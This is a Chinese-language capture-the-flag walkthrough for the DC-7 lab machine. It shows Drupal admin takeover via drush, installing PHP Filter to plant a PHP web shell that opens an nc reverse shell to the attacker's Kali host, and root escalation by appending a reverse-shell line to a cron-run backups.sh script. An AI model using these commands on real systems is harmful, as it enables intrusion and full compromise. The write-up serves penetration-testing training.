DC-7靶机做题记录

靶机下载地址:

复制代码
链接:https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky 
提取码:tdky 

参考:

描述:

复制代码
DESCRIPTION 说明
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-7是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

While this isn't an overly technical challenge, it isn't exactly easy.
虽然这不是一个过于技术性的挑战,但也并不容易。

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
虽然这是早期DC版本的一个逻辑进展(我不会告诉你是哪一个),但其中涉及一些新概念,但你需要自己弄清楚。:-)如果你需要诉诸暴力或字典攻击,你可能不会成功。

What you will need to do, is to think "outside" of the box.
你需要做的是跳出框框思考。

Waaaaaay "outside" of the box. :-)
Waaaaaay"在盒子外面"。:-)

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

1、导入VMware虚拟机

复制代码
下载完成后,得到DC-7.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置

3、kali创建一个目录 dc7 ,后续的操作都在该目录下进行

使用工具

攻击者:kali 192.168.1.128

靶机:dc-3 192.168.1.135

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述

发现靶机192.168.1.135开放了80和22端口

判断 CMS

来到 DC7 Web ⻚⾯,可以看到 CMS 是 Drupal

再次信息收集

发现主⻚存在⼀些信息:

发现下面有一个@DC7USER

那我们就用搜索引擎去搜索一下,发现了一个Github

config.php配置文件中发现了账号密码

尝试登录web页面,发现无法登录

那就尝试SSH登录,登录成功

复制代码
ssh dc7user@192.168.1.135

发现了个root用户的定时文件backups.sh,接下来看一下文件权限

复制代码
ls -la /opt/scripts/
复制代码
-rwxrwxr-x 1 root www-data  520 Aug 29  2019 backups.sh
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,只有读和执行的权限

backups.sh 内容如下 :

再回到/home/dc7user目录下查看一下,

发现 backups:备份⽂件

mbox:内容看着像⼀个定时备份,但是失败⽽保存的邮件

还有 .drush 这个目录

backups.sh 中也有 drush命令

发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令

drush修改密码

使用这个命令需要先切换到drupal的目录

复制代码
cd /var/www/html

查看用户信息

我们查看一下admin的用户信息

复制代码
drush user-information admin

接下来修改admin的密码

复制代码
drush upwd admin --password="admin"

然后我们登录后台,用admin管理员的账号

成功登录

反弹shell

进入后台之后,我们要写木马来进行反弹shell

点击内容,并点击编辑,看看能不能把PHP代码写进去

并未发现支持PHP代码的

这个时候我们需要安装 PHP Filter 模块

先把它下载到本地

然后拖进去进行安装

还需要再勾选一遍

这样才算成功安装

此时,页面编辑器中就出现了 PHP code

在 Body 中添加反弹shell 的pho代码

复制代码
<?php system("nc -e /bin/bash 192.168.1.128 1234");?>

点击保存

现在先在我们的kali里面监听1234端口

复制代码
nc -lvvnp 1234

然后访问一下 Welcome to DC-7这个页面,来让它解析PHP代码以触发反弹shell 的命令

成功反弹过来了

优化 SHELL

复制代码
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

权限提升

修改定时脚本⽂件提权

复制代码
echo "nc -e /bin/bash 192.168.1.128 4321" >> backups.sh

本地监听:

复制代码
nc -lvvnp 4321

等待反弹过来即可

因为这个backups.sh的脚本是以root的身份执行的,所以弹回来的shell也是root权限的shell

提权成功!

成功获取到flag!

总结

  1. 第一步非常难,就是要找到它的Github的信息泄露
  2. 对drush的了解,可能国外的人用到就比较多
  3. 要解决它支持PHP代码的问题,需要安装支持PHP的插件
  4. 对定时任务的了解,邮件的定时任务,能够去发现一些脚本的内容

完毕!

相关推荐
tingshuo291710 小时前
D006 【模板】并查集
笔记
tingshuo29171 天前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
不可能的是3 天前
前端 SSE 流式请求三种实现方案全解析
前端·http
一次旅行6 天前
网络安全总结
安全·web安全
DianSan_ERP6 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
西岸行者6 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
呉師傅7 天前
火狐浏览器报错配置文件缺失如何解决#操作技巧#
运维·网络·windows·电脑
starlaky7 天前
Django入门笔记
笔记·django
勇气要爆发7 天前
吴恩达《LangChain LLM 应用开发精读笔记》1-Introduction_介绍
笔记·langchain·吴恩达
悠哉悠哉愿意7 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习